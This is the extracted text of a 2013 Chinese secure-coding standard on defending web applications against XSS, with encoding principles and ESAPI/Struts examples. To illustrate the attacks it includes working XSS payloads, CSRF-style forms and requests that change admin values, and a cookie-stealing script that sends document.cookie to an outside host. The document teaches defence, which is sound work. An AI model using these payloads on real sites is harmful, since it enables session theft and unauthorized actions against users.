web安全評測解決方案與代碼編寫規(guī)范_第1頁
web安全評測解決方案與代碼編寫規(guī)范_第2頁
web安全評測解決方案與代碼編寫規(guī)范_第3頁
web安全評測解決方案與代碼編寫規(guī)范_第4頁
web安全評測解決方案與代碼編寫規(guī)范_第5頁
已閱讀5頁,還剩19頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

1、四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范WEB安全評測解決方案與代碼編寫規(guī)范北京恒華偉業(yè)科技股份有限公司2013年10月北京恒華偉業(yè)科技股份有限公司四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范目錄1 Xss注入簡介 . 21.1 一個(gè)簡單的例子 . 21.2 網(wǎng)上的xss講解 . 3防御xss的七條原則 . 92.1 前言 . 92.2 原則1:不要在頁面中插入任何不可信數(shù)據(jù),除非這些數(shù)已經(jīng)據(jù)根據(jù)下面幾個(gè)原則進(jìn)行了編碼 . 102.3 原則2:在將不可信數(shù)據(jù)插入到HTML標(biāo)簽之間時(shí),對這些數(shù)據(jù)進(jìn)行HTML Entity編碼 112.4 原則3:在將不可信數(shù)據(jù)插入到HTML屬性里時(shí),對這些數(shù)據(jù)進(jìn)行HTML屬

2、性編碼 122.5 原則4:在將不可信數(shù)據(jù)插入到SCRIPT里時(shí),對這些數(shù)據(jù)進(jìn)行SCRIPT編碼142.6 原則5:在將不可信數(shù)據(jù)插入到Style屬性里時(shí),對這些數(shù)據(jù)進(jìn)行CSS編碼 . 162.7 原則6:在將不可信數(shù)據(jù)插入到HTML URL里時(shí),對這些數(shù)據(jù)進(jìn)行URL編碼 172.8 原則7:使用富文本時(shí),使用XSS規(guī)則引擎進(jìn)行編碼過濾 . 18項(xiàng)目中防御xss的具體措施 . 213.1 在jsp中的輸出防御 . 213.1.1 stuts標(biāo)簽輸出防御 . 213.1.2 Esapi標(biāo)簽輸出防御 . 213.1.3 Java輸出代碼防御通過<%=temp%>的方式 . 22防御ur

3、l中的xss代碼注入攻擊辦法 . 23控制通過輸入非登錄頁的url進(jìn)入系統(tǒng)功能 . 245.1.1 Referer驗(yàn)證過濾器 . 245.1.2 window.open和window.location.href=特殊處理 . 24系統(tǒng)日志組件的調(diào)用方法 . 256.1.1 方法一:直接調(diào)用 . 256.1.2 方法二通過Annotation . 25 2 3 4 5 6北京恒華偉業(yè)科技股份有限公司四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范 1 Xss注入簡介1.1 一個(gè)簡單的例子先看下現(xiàn)在frp登錄頁面的xss注入漏洞先打開系統(tǒng)登錄頁9:8080/scmm/然后在系

4、統(tǒng)用戶名中文本框中輸入1, xss: */->'"></iframe></script></style></title></textarea><script>alert(/xsstest/)</script> 密碼為 1點(diǎn)擊登錄按鈕,則出現(xiàn)如下界面原因是系統(tǒng)驗(yàn)證用戶名失敗后,重新跳轉(zhuǎn)到login.jsp而login.jsp中通過$userCode的方式對userCode變量進(jìn)行了直接的頁面輸出,從而執(zhí)行了不安全的腳本,正確的方式使應(yīng)當(dāng)對userCode進(jìn)行字符編碼轉(zhuǎn)換后再進(jìn)行輸出,

5、具體的編碼轉(zhuǎn)換輸出方式,請參照第三章節(jié)再比如在一個(gè)博客添加頁面blogAdd.jsp中有一個(gè)form表單<form><input type=”text” name=”blog.subject”/></form>Form表單提交后跳轉(zhuǎn)到blogInfo.jsp如果在js中使用blog.subject<script>Var blogSubject =”<s:property value=” blog.subject” />”;北京恒華偉業(yè)科技股份有限公司 2四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范 </script>如果我在fro

6、m表單中blog.subject文本框中輸入“ var myiframe=document.createElement(“iframe”);myiframe.style.height=”100px;”; myiframe.style.width=”100px;”myiframe.src=”;document.getElementsByTagName(body)0.appendChild(myiframe);則會(huì)成功在你的網(wǎng)站上顯示出一個(gè)百度的頁面,使用類似的代碼可以實(shí)現(xiàn)網(wǎng)站釣魚功能 例如創(chuàng)建一個(gè)支付頁面,引誘你把賬號和密碼輸入到釣魚網(wǎng)站中正確的做法是對用戶輸入blog.subject文本框中的

7、值進(jìn)行非法字符過濾后再保存到數(shù)據(jù)庫或者在對 blog.subject的字段值進(jìn)行輸出的時(shí)候進(jìn)行字符轉(zhuǎn)換轉(zhuǎn)換方式是將Var blogSubject =”<s:property value=” blog.subject” />”;修改為Var blogSubject =”<s:property value=” blog.subject” escapeJavaScript="true"/>”;因?yàn)閟truts的property標(biāo)簽?zāi)J(rèn)只對輸出的值進(jìn)行html過濾,而不對javaScript進(jìn)行過濾1.2 網(wǎng)上的xss講解XSS漏洞概述:XSS(Cross

8、Site Script)跨站點(diǎn)腳本攻擊是一種注射的問題,在這種惡意腳本注入否則良性和信任的網(wǎng)站類型??缯军c(diǎn)腳本(XSS)攻擊,攻擊者使用時(shí),會(huì)出現(xiàn)一個(gè)網(wǎng)絡(luò)應(yīng)用程序發(fā)送惡意代碼,一般是在瀏覽器端腳本的形式,向不同的最終用戶。這些缺陷,使攻擊成功是相當(dāng)普遍,發(fā)生在任何地方從一個(gè)Web應(yīng)用程序使用在輸出它沒有驗(yàn)證或編碼了用戶輸入。攻擊者可以使用XSS的惡意腳本發(fā)送到一個(gè)毫無戒心的用戶。最終用戶的瀏覽有沒有辦法知道該腳本不應(yīng)該信任,將執(zhí)行該腳本。因?yàn)樗J(rèn)為該腳本來從一個(gè)受信任的源,惡意腳本可以訪問任何Cookie,會(huì)話令牌,或其他敏感信息的瀏覽器保留,并與該網(wǎng)站使用。 甚至可以重寫這些腳本的HTML網(wǎng)

9、頁的內(nèi)容。XSS漏洞歷史:XSS(Cross-site scripting)漏洞最早可以追溯到1996年,那時(shí)電子商務(wù)才剛剛起步,估計(jì)那時(shí)候國內(nèi)很少人會(huì)想象到今天出現(xiàn)的幾個(gè)國內(nèi)電子商務(wù)巨頭淘寶、當(dāng)當(dāng)、亞馬遜(卓越)。XSS的出現(xiàn)“得益”于JavaScript的出現(xiàn),JavaScript的出現(xiàn)給網(wǎng)頁的設(shè)計(jì)帶來了無限驚喜,包括今天風(fēng)行的AJAX(AsynschronousJavaScript and XML)。同時(shí),這些元素又無限的擴(kuò)充了今天的網(wǎng)絡(luò)安全領(lǐng)域。 XSS 漏洞攻擊特點(diǎn):(1)XSS跨站漏洞種類多樣人:XSS攻擊語句可插入到、URL地址參數(shù)后面、輸入框內(nèi)、img標(biāo)簽及DIV標(biāo)簽等HTML

10、函數(shù)的屬人里、Flash的getURL()動(dòng)作等地方都會(huì)觸發(fā)XSS漏洞。(2)XSS跨站漏洞代碼多樣人:為了躲避轉(zhuǎn)義HTML特殊字符函數(shù)及過濾函數(shù)的過濾,XSS跨站的代碼使用“/”來代替安字符“”、使用Tab鍵代替空格、部分語句轉(zhuǎn)找成16進(jìn)制、添加特北京恒華偉業(yè)科技股份有限公司 3四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范 殊字符、改變大小寫及使用空格等來繞過過濾函數(shù)。如果在您的新聞系統(tǒng)發(fā)現(xiàn)安全漏洞,如果該漏洞是一個(gè)SQL 注入漏洞,那么該漏洞就會(huì)得到您的網(wǎng)站管理員密碼、可以在主機(jī)系統(tǒng)上執(zhí)行shell命令、對數(shù)據(jù)庫添加、刪除數(shù)據(jù)。如果在您的新聞或郵件系統(tǒng)中發(fā)現(xiàn)安全漏洞,如果該漏洞是一個(gè)XSS跨站漏洞

11、,那么可以構(gòu)造一些特殊代碼,只要你訪問的頁面包含了構(gòu)造的特殊代碼,您的主機(jī)可能就會(huì)執(zhí)行木馬程序、執(zhí)行*Cookies代碼、突然轉(zhuǎn)到一個(gè)銀行及其它金融類的網(wǎng)站、泄露您的網(wǎng)銀及其它賬號與密碼等。 XSS攻擊原理:XSS 屬于被動(dòng)式的攻擊。攻擊者先構(gòu)造一個(gè)跨站頁面,利用script、<IMG>、<IFRAME>等各種方式使得用戶瀏覽這個(gè)頁面時(shí),觸發(fā)對被攻擊站點(diǎn)的http 請求。此時(shí),如果被攻擊者如果已經(jīng)在被攻擊站點(diǎn)登錄,就會(huì)持有該站點(diǎn)cookie。這樣該站點(diǎn)會(huì)認(rèn)為被攻擊者發(fā)起了一個(gè)http 請求。而實(shí)際上這個(gè)請求是在被攻擊者不知情的情況下發(fā)起的,由此攻擊者在一定程度上達(dá)到了冒

12、充被攻擊者的目的。精心的構(gòu)造這個(gè)攻擊請求,可以達(dá)到冒充發(fā)文,奪取權(quán)限等等多個(gè)攻擊目的。在常見的攻擊實(shí)例中,這個(gè)請求是通過script 來發(fā)起的,因此被稱為Cross Site Script。攻擊Yahoo Mail 的Yamanner 蠕蟲是一個(gè)著名的XSS 攻擊實(shí)例。Yahoo Mail 系統(tǒng)有一個(gè)漏洞,當(dāng)用戶在web 上察看信件時(shí),有可能執(zhí)行到信件內(nèi)的javascript 代碼。病毒可以利用這個(gè)漏洞使被攻擊用戶運(yùn)行病毒的script。同時(shí)Yahoo Mail 系統(tǒng)使用了Ajax技術(shù),這樣病毒的script 可以很容易的向Yahoo Mail 系統(tǒng)發(fā)起ajax 請求,從而得到用戶的地址簿,并

13、發(fā)送病毒給他人。 XSS 攻擊主要分為兩類:一類是來自內(nèi)部的攻擊,主要指的是利用WEB 程序自身的漏洞,提交特殊的字符串,從而使得跨站頁面直接存在于被攻擊站點(diǎn)上,這個(gè)字符串被稱為跨站語句。這一類攻擊所利用的漏洞非常類似于SQL Injection 漏洞,都是WEB程序沒有對用戶輸入作充分的檢查和過濾。上文的Yamanner 就是一例。另一類則是來來自外部的攻擊,主要指的自己構(gòu)造XSS 跨站漏洞網(wǎng)頁或者尋找非目標(biāo)機(jī)以外的有跨站漏洞的網(wǎng)頁。如當(dāng)我們要滲透一個(gè)站點(diǎn),我們自己構(gòu)造一個(gè)跨站網(wǎng)頁放在自己的服務(wù)器上,然后通過結(jié)合其它技術(shù),如社會(huì)工程學(xué)等,欺騙目標(biāo)服務(wù)器的管理員打開。這一類攻擊的威脅相對較低,

14、至少ajax 要發(fā)起跨站調(diào)用是非常困難的。案例實(shí)戰(zhàn):我們來看一個(gè)簡單的攻擊實(shí)例,下表給出了一個(gè)簡單的網(wǎng)站:8080/testxss,該網(wǎng)站的密碼和用戶名相同,普通用戶可以修改user value,當(dāng)以admin 身份登陸時(shí)可以通過向doadmin.jsp 發(fā)起請求來修改admin value。index.jsp<html><body><textarea rows="3" cols="100" readonly="on">Current User: $usernameAdmin Value: $adm

15、invalueUser Value: $uservalue北京恒華偉業(yè)科技股份有限公司 4四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范 </textarea><br><a href="login.jsp"/>logout</a><br>Login:<br><form action="login.jsp" method="post">username: <input type="text" name="u">&

16、lt;/input> <br>password: <input type="text" name="p"></input> <br><input type="submit" /> password = username :-)</form><form action="doadmin.jsp" method="post">adminvalue: <input type="text"

17、name="v"></input> <br><input type="submit" /></form><form action="doadmin.jsp" method="post">uservalue: <input type="text" name="v2"></input> <br><input type="submit" /><

18、/form></body>login.jsp<%String u = request.getParameter("u");String p = request.getParameter("p");if (u != null && p != null && u.equals(p) session.setAttribute("username", u); else session.removeAttribute("username");response.sendR

19、edirect("index.jsp");%>doadmin.jsp<%String u = (String)session.getAttribute("username");String v = request.getParameter("v");String v2 = request.getParameter("v2");if (u != null && u.equals("admin") if (v != null)application.setAttribut

20、e("adminvalue", v);if (u != null && v2 != null)application.setAttribute("uservalue", v2);北京恒華偉業(yè)科技股份有限公司 5四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范 response.sendRedirect("index.jsp");%>容易想到,只要誘騙admin 用戶發(fā)起一個(gè)到:8080/testxss/doadmin.jsp 的http 請求,就能成功攻擊。因此我們設(shè)計(jì)跨站語句如下:hello </textarea&g

21、t; <img src="style="display:none"> </img>hello </textarea> <form id="shit"action=":8080/testxss/doadmin.jsp" metho nd="post" target="myframe"/> <input type="hidden" name="v"value="hacked3"

22、/> </form> <iframestyle="display:none" name="myframe"></iframe><script>document.forms0.submit()</script>hello </textarea> <script language="jscript">v = newActiveXObject("MSXML2.XMLHTTP.3.0"); v.open("GET"

23、,":8080/testxss/doadmin.jsp?v=hacked4"); v.send();alert(v.statusText);</script>以普通用戶身份修改user value 為以上任何一個(gè),當(dāng)admin 瀏覽index.jsp 時(shí),即可悄無聲息的修改admin value這里演示了3 種跨站手法:1 是利用img、iframe 等tag 直接發(fā)起請求,這適用于無法直接出script 的情況,其中 是一個(gè)redirect,指向 :8080/testxss/doadmin.jsp?v=hacked2 ; 2 是用script 提交post 表

24、單;3 是ajax 技術(shù)。以上攻擊能夠成功有2 個(gè)原因:1. 應(yīng)用程序沒有對user value 做足夠多的過濾,導(dǎo)致用戶有機(jī)會(huì)構(gòu)造一個(gè)復(fù)雜的跨站語句來觸發(fā)admin 的非預(yù)期行為;2. 應(yīng)用程序在響應(yīng)admin value 修改請求時(shí)沒有防范措施來識別這是不是出于用戶主動(dòng)。漏洞1 很容易修復(fù),只要像防止SQL Injection 那樣對用戶輸入的所有內(nèi)容都過濾即可。漏洞2 才是問題的根源,即便我們修補(bǔ)了漏洞1,只要誘使admin 用戶訪問包含<imgsrc=" </img>的頁面,仍然能達(dá)到目的,而這是一件極容易做到的事。防范措施:北京恒華偉業(yè)科技股份有限公司 6

25、四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范 這里給出一些防范XSS 攻擊的措施。必須說明的是,對于XSS 攻擊,并不像SQLInjection 那樣可以有一勞永逸的解決方案只需要grep 一下所有的sql 調(diào)用。這是一場長期的斗爭,而且往往需要我們采取修改業(yè)務(wù)流程、產(chǎn)品設(shè)計(jì)等看似削足適履的手段。先總結(jié)一下常見的攻擊手法:1. 依賴跨站漏洞,需要在被攻擊網(wǎng)站的頁面種入腳本的手法1.1. Cookie 盜取,通過javascript 獲取被攻擊網(wǎng)站種下的cookie,并發(fā)送給攻擊者。1.1.1. 從cookie 中提取密碼等隱私1.1.2. 利用cookie 偽造session,發(fā)起重放攻擊1.2. A

26、jex 信息盜取,通過javascript 發(fā)起ajex 請求。1.2.1. 從ajex 結(jié)果中獲取隱私。1.2.2. 模擬用戶完成多頁表單。2. 不依賴跨站漏洞的手法2.1. 單向HTTP 動(dòng)作,通過img.src 等方法發(fā)起跨站訪問,冒充被攻擊者執(zhí)行特權(quán)操作。但是很難拿到服務(wù)器的返回值。2.2. 雙向HTTP 動(dòng)作,如果服務(wù)器產(chǎn)生一段動(dòng)態(tài)的script,那么可以用script.src 的方法發(fā)起跨站訪問并拿到服務(wù)器的返回值。防范手法如下:1. 防堵跨站漏洞,阻止攻擊者利用在被攻擊網(wǎng)站上發(fā)布跨站攻擊語句不可以信任用戶提交的任何內(nèi)容,首先代碼里對用戶輸入的地方和變量都需要仔細(xì)檢查長度和對”&l

27、t;”,”>”,”;”,”等字符做過濾;其次任何內(nèi)容寫到頁面之前都必須加以encode,避免不小心把html tag 弄出來。這一個(gè)層面做好,至少可以堵住超過一半的XSS 攻擊。2. Cookie 防盜首先避免直接在cookie 中泄露用戶隱私,例如email、密碼等等。其次通過使cookie 和系統(tǒng)ip 綁定來降低cookie 泄露后的危險(xiǎn)。這樣攻擊者得到的cookie 沒有實(shí)際價(jià)值,不可能拿來重放。3. 盡量采用POST 而非GET 提交表單POST 操作不可能繞開javascript 的使用,這會(huì)給攻擊者增加難度,減少可利用的跨站漏洞。4. 嚴(yán)格檢查refer檢查http refe

28、r 是否來自預(yù)料中的url。這可以阻止第2 類攻擊手法發(fā)起的http 請求,也能防止大部分第1 類攻擊手法,除非正好在特權(quán)操作的引用頁上種了跨站訪問。5. 將單步流程改為多步,在多步流程中引入效驗(yàn)碼多步流程中每一步都產(chǎn)生一個(gè)驗(yàn)證碼作為hidden 表單元素嵌在中間頁面,下一步操作時(shí)這個(gè)驗(yàn)證碼被提交到服務(wù)器,服務(wù)器檢查這個(gè)驗(yàn)證碼是否匹配。 首先這為第1 類攻擊者大大增加了麻煩。其次攻擊者必須在多步流程中拿到上一步產(chǎn)生的效驗(yàn)碼才有可能發(fā)起下一步請求,這在第2 類攻擊中是幾乎無法做到的。北京恒華偉業(yè)科技股份有限公司 7四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范6. 引入用戶交互簡單的一個(gè)看圖識數(shù)可以堵住幾

29、乎所有的非預(yù)期特權(quán)操作。7. 只在允許anonymous 訪問的地方使用動(dòng)態(tài)的javascript。8. 對于用戶提交信息的中的img 等link,檢查是否有重定向回本站、不是真的圖片等可疑操作。9. 內(nèi)部管理網(wǎng)站的問題很多時(shí)候,內(nèi)部管理網(wǎng)站往往疏于關(guān)注安全問題,只是簡單的限制訪問來源。這種網(wǎng)站往往對XSS 攻擊毫無抵抗力,需要多加注意。安全問題需要長期的關(guān)注,從來不是一錘子買賣。XSS 攻擊相對其他攻擊手段更加隱蔽和多變,和業(yè)務(wù)流程、代碼實(shí)現(xiàn)都有關(guān)系,不存在什么一勞永逸的解決方案。此外,面對XSS,往往要犧牲產(chǎn)品的便利性才能保證完全的安全,如何在安全和便利之間平衡也是一件需要考慮的事情。we

30、b應(yīng)用開發(fā)者注意事項(xiàng):1.對于開發(fā)者,首先應(yīng)該把精力放到對所有用戶提交內(nèi)容進(jìn)行可靠的輸入驗(yàn)證上。這些提交內(nèi)容包括URL、查詢關(guān)鍵字、http頭、post數(shù)據(jù)等。只接受在你所規(guī)定長度范圍內(nèi)、采用適當(dāng)格式、你所希望的字符。阻塞、過濾或者忽略其它的任何東西。2.保護(hù)所有敏感的功能,以防被bots自動(dòng)化或者被第三方網(wǎng)站所執(zhí)行。實(shí)現(xiàn)session標(biāo)記(session tokens)、CAPTCHA系統(tǒng)或者HTTP引用頭檢查。3.如果你的web應(yīng)用必須支持用戶提供的HTML,那么應(yīng)用的安全性將受到災(zāi)難性的下滑。但是你還是可以做一些事來保護(hù)web站點(diǎn):確認(rèn)你接收的HTML內(nèi)容被妥善地格式化,僅包含最小化的、

31、安全的tag(絕對沒有JavaScript),去掉任何對遠(yuǎn)程內(nèi)容的引用(尤其是樣式表和JavaScript)。為了更多的安全,請使用httpOnly的cookie。北京恒華偉業(yè)科技股份有限公司 8四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范 2 防御xss的七條原則2.1 前言本章節(jié)將會(huì)著重介紹防御XSS攻擊的一些原則,需要讀者對于XSS有所了解,至少知道XSS漏洞的基本原理,如果您對此不是特別清楚,請參考這兩篇文章:Stored and Reflected XSS AttackDOM Based XSS攻擊者可以利用XSS漏洞向用戶發(fā)送攻擊腳本,而用戶的瀏覽器因?yàn)闆]有辦法知道這段腳本是不可信的,所以

32、依然會(huì)執(zhí)行它。對于瀏覽器而言,它認(rèn)為這段腳本是來自可以信任的服務(wù)器的,所以腳本可以光明正大地訪問Cookie,或者保存在瀏覽器里被當(dāng)前網(wǎng)站所用的敏感信息,甚至可以知道用戶電腦安裝了哪些軟件。這些腳本還可以改寫HTML頁面,進(jìn)行釣魚攻擊。雖然產(chǎn)生XSS漏洞的原因各種各樣,對于漏洞的利用也是花樣百出,但是如果我們遵循本文提到防御原則,我們依然可以做到防止XSS攻擊的發(fā)生。有人可能會(huì)問,防御XSS的核心不就是在輸出不可信數(shù)據(jù)的時(shí)候進(jìn)行編碼,而現(xiàn)如今流行的Web框架(比如Rails)大多都在默認(rèn)情況下就對不可信數(shù)據(jù)進(jìn)行了HTML編碼,幫我們做了防御,還用得著我們自己再花時(shí)間研究如何防御XSS嗎?答案是

33、肯定的,對于將要放置到HTML頁面body里的不可信數(shù)據(jù),進(jìn)行HTML編碼已經(jīng)足夠防御XSS攻擊了,甚至將HTML編碼后的數(shù)據(jù)放到HTML標(biāo)簽(TAG)的屬性(attribute)里也不會(huì)產(chǎn)生XSS漏洞(但前提是這些屬性都正確使用了引號),但是,如果你將HTML編碼后的數(shù)據(jù)放到了<SCRIPT>標(biāo)簽里的任何地方,甚至是HTML標(biāo)簽的事件處理屬性里(如onmouseover),又或者是放到了CSS、URL里,XSS攻擊依然會(huì)發(fā)生,在這種情況下,HTML編碼不起作用了。所以就算你到處使用了HTML編碼,XSS漏洞依然可能存在。下面這幾條規(guī)則就將告訴你,如何在正確的地方使用正確的編碼來消

34、除XSS漏洞。北京恒華偉業(yè)科技股份有限公司 9四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范2.2 原則1:不要在頁面中插入任何不可信數(shù)據(jù),除非這些數(shù)已經(jīng)據(jù)根據(jù)下面幾個(gè)原則進(jìn)行了編碼第一條原則其實(shí)是“Secure By Default”原則:不要往HTML頁面中插入任何不可信數(shù)據(jù),除非這些數(shù)據(jù)已經(jīng)根據(jù)下面幾條原則進(jìn)行了編碼。之所以有這樣一條原則存在,是因?yàn)镠TML里有太多的地方容易形成XSS漏洞,而且形成漏洞的原因又有差別,比如有些漏洞發(fā)生在HTML標(biāo)簽里,有些發(fā)生在HTML標(biāo)簽的屬性里,還有的發(fā)生在頁面的<Script>里,甚至有些還出現(xiàn)在CSS里,再加上不同的瀏覽器對頁面的解析或多或少有

35、些不同,使得有些漏洞只在特定瀏覽器里才會(huì)產(chǎn)生。如果想要通過XSS過濾器(XSS Filter)對不可信數(shù)據(jù)進(jìn)行轉(zhuǎn)義或替換,那么XSS過濾器的過濾規(guī)則將會(huì)變得異常復(fù)雜,難以維護(hù)而且會(huì)有被繞過的風(fēng)險(xiǎn)。所以實(shí)在想不出有什么理由要直接往HTML頁面里插入不可信數(shù)據(jù),就算是有XSS過濾器幫你做過濾,產(chǎn)生XSS漏洞的風(fēng)險(xiǎn)還是很高。<script>不要在這里直接插入不可信數(shù)據(jù)</script>直接插入到SCRIPT標(biāo)簽里<! 不要在這里直接插入不可信數(shù)據(jù) >插入到HTML注釋里<div 不要在這里直接插入不可信數(shù)據(jù)=”></div>插入到HTML標(biāo)

36、簽的屬性名里<div name=”不要在這里直接插入不可信數(shù)據(jù)”></div>插入到HTML標(biāo)簽的屬性值里<不要在這里直接插入不可信數(shù)據(jù) href=”></a>北京恒華偉業(yè)科技股份有限公司 10四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范作為HTML標(biāo)簽的名字<style>不要在這里直接插入不可信數(shù)據(jù)</style>直接插入到CSS里最重要的是,千萬不要引入任何不可信的第三方JavaScript到頁面里,一旦引入了,這些腳本就能夠操縱你的HTML頁面,竊取敏感信息或者發(fā)起釣魚攻擊等等。2.3 原則2:在將不可信數(shù)據(jù)插入到HTML標(biāo)

37、簽之間時(shí),對這些數(shù)據(jù)進(jìn)行HTMLEntity編碼在這里相當(dāng)強(qiáng)調(diào)是往HTML標(biāo)簽之間插入不可信數(shù)據(jù),以區(qū)別于往HTML標(biāo)簽屬性部分插入不可信數(shù)據(jù),因?yàn)檫@兩者需要進(jìn)行不同類型的編碼。當(dāng)你確實(shí)需要往HTML標(biāo)簽之間插入不可信數(shù)據(jù)的時(shí)候,首先要做的就是對不可信數(shù)據(jù)進(jìn)行HTML Entity編碼。比如,我們經(jīng)常需要往DIV,P,TD這些標(biāo)簽里放入一些用戶提交的數(shù)據(jù),這些數(shù)據(jù)是不可信的,需要對它們進(jìn)行HTML Entity編碼。很多Web框架都提供了HTML Entity編碼的函數(shù),我們只需要調(diào)用這些函數(shù)就好,而有些Web框架似乎更“智能”,比如Rails,它能在默認(rèn)情況下對所有插入到HTML頁面的數(shù)據(jù)進(jìn)

38、行HTML Entity編碼,盡管不能完全防御XSS,但著實(shí)減輕了開發(fā)人員的負(fù)擔(dān)。</div><p>插入不可信數(shù)據(jù)前,對其進(jìn)行HTML Entity編碼</p>以此類推,往其他HTML標(biāo)簽之間插入不可信數(shù)據(jù)前,對其進(jìn)行HTML Entity編碼 <body>插入不可信數(shù)據(jù)前,對其進(jìn)行HTML Entity編碼</body><div>插入不可信數(shù)據(jù)前,對其進(jìn)編碼規(guī)則那么HTML Entity編碼具體應(yīng)該做哪些事情呢?它需要對下面這6個(gè)特殊字符進(jìn)行編碼:北京恒華偉業(yè)科技股份有限公司 11四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范&a

39、mp; > &< > <> > >” > " > &#x27;/ > &#x2f;有兩點(diǎn)需要特別說明的是: 不推薦將單引號( )編碼為 &apos; 因?yàn)樗⒉皇菢?biāo)準(zhǔn)的HTML標(biāo)簽 需要對斜杠號( / )編碼,因?yàn)樵谶M(jìn)行XSS攻擊時(shí),斜杠號對于關(guān)閉當(dāng)前HTML標(biāo)簽非常有用推薦使用OWASP提供的ESAPI函數(shù)庫,它提供了一系列非常嚴(yán)格的用于進(jìn)行各種安全編碼的函數(shù)。在當(dāng)前這個(gè)例子里,你可以使用:String encodedContent = ESAPI.encoder().encodeForHT

40、ML(request.getParameter(“input”);2.4 原則3:在將不可信數(shù)據(jù)插入到HTML屬性里時(shí),對這些數(shù)據(jù)進(jìn)行HTML屬性編碼這條原則是指,當(dāng)你要往HTML屬性(例如width、name、value屬性)的值部分(data value)插入不可信數(shù)據(jù)的時(shí)候,應(yīng)該對數(shù)據(jù)進(jìn)行HTML屬性編碼。不過需要注意的是,當(dāng)要往HTML標(biāo)簽的事件處理屬性(例如onmouseover)里插入數(shù)據(jù)的時(shí)候,本條原則不適用,應(yīng)該用下面介紹的原則4對其進(jìn)行JavaScript編碼。<div attr=插入不可信數(shù)據(jù)前,進(jìn)行HTML屬性編碼></div>屬性值部分沒有使用引

41、號,不推薦<div attr=插入不可信數(shù)據(jù)前,進(jìn)行HTML屬性編碼></div>北京恒華偉業(yè)科技股份有限公司 12四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范屬性值部分使用了單引號<div attr=”插入不可信數(shù)據(jù)前,進(jìn)行HTML屬性編碼”></div>屬性值部分使用了雙引號編碼規(guī)則除了阿拉伯?dāng)?shù)字和字母,對其他所有的字符進(jìn)行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 &#xHH; (以&#x開頭,HH則是指該字符對應(yīng)的十六進(jìn)制數(shù)字,分號作為結(jié)束符)之所以編碼規(guī)則如此嚴(yán)格,是因?yàn)殚_發(fā)者有時(shí)會(huì)忘記給屬性的值部分加上引號。

42、如果屬性值部分沒有使用引號的話,攻擊者很容易就能閉合掉當(dāng)前屬性,隨后即可插入攻擊腳本。例如,如果屬性沒有使用引號,又沒有對數(shù)據(jù)進(jìn)行嚴(yán)格編碼,那么一個(gè)空格符就可以閉合掉當(dāng)前屬性。請看下面這個(gè)攻擊:假設(shè)HTML代碼是這樣的:<div width=$INPUT> content </div>攻擊者可以構(gòu)造這樣的輸入:x onmouseover=”javascript:alert(/xss/)”最后,在用戶的瀏覽器里的最終HTML代碼會(huì)變成這個(gè)樣子:<div width=x onmouseover=”javascript:alert(/xss/)”> content

43、 </div>只要用戶的鼠標(biāo)移動(dòng)到這個(gè)DIV上,就會(huì)觸發(fā)攻擊者寫好的攻擊腳本。在這個(gè)例子里,腳本僅僅彈出一個(gè)警告框,除了惡作劇一下也沒有太多的危害,但是在真實(shí)的攻擊中,攻擊者會(huì)使用更加具有破壞力的腳本,例如下面這個(gè)竊取用戶cookie的XSS攻擊:?x /> <script>var img = document.createElement(“img”);img.src = ” + 1 escape(document.cookie);document.body.appendChild(img);</script> <div北京恒華偉業(yè)科技股份有限公

44、司 13四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范除了空格符可以閉合當(dāng)前屬性外,這些符號也可以:% * + , / ; < = > | (反單引號,IE會(huì)認(rèn)為它是單引號)可以使用ESAPI提供的函數(shù)進(jìn)行HTML屬性編碼:String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”);2.5 原則4:在將不可信數(shù)據(jù)插入到SCRIPT里時(shí),對這些數(shù)據(jù)進(jìn)行SCRIPT編碼這條原則主要針對動(dòng)態(tài)生成的JavaScript代碼,這包括腳本部分以及HTML標(biāo)簽的事件處理屬性(Eve

45、nt Handler,如onmouseover, onload等)。在往JavaScript代碼里插入數(shù)據(jù)的時(shí)候,只有一種情況是安全的,那就是對不可信數(shù)據(jù)進(jìn)行JavaScript編碼,并且只把這些數(shù)據(jù)放到使用引號包圍起來的值部分(data value)之中,例如:?1 <script>23 var message = “<%= encodeJavaScript(INPUT) %>”;45 </script>除此之外,往JavaScript代碼里其他任何地方插入不可信數(shù)據(jù)都是相當(dāng)危險(xiǎn)的,攻擊者可以很容易地插入攻擊代碼。<script>alert(插

46、入不可信數(shù)據(jù)前,進(jìn)行JavaScript編碼)</script>值部分使用了單引號<script>x = “插入不可信數(shù)據(jù)前,進(jìn)行JavaScript編碼”</script>值部分使用了雙引號<div onmouseover=”x=插入不可信數(shù)據(jù)前,進(jìn)行JavaScript編碼 “</div>值部分使用了引號,且事件處理屬性的值部分也使用了引號特別需要注意的是,在XSS防御中,有些JavaScript函數(shù)是極度危險(xiǎn)的,北京恒華偉業(yè)科技股份有限公司 14四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范就算對不可信數(shù)據(jù)進(jìn)行JavaScript編碼,也依然會(huì)

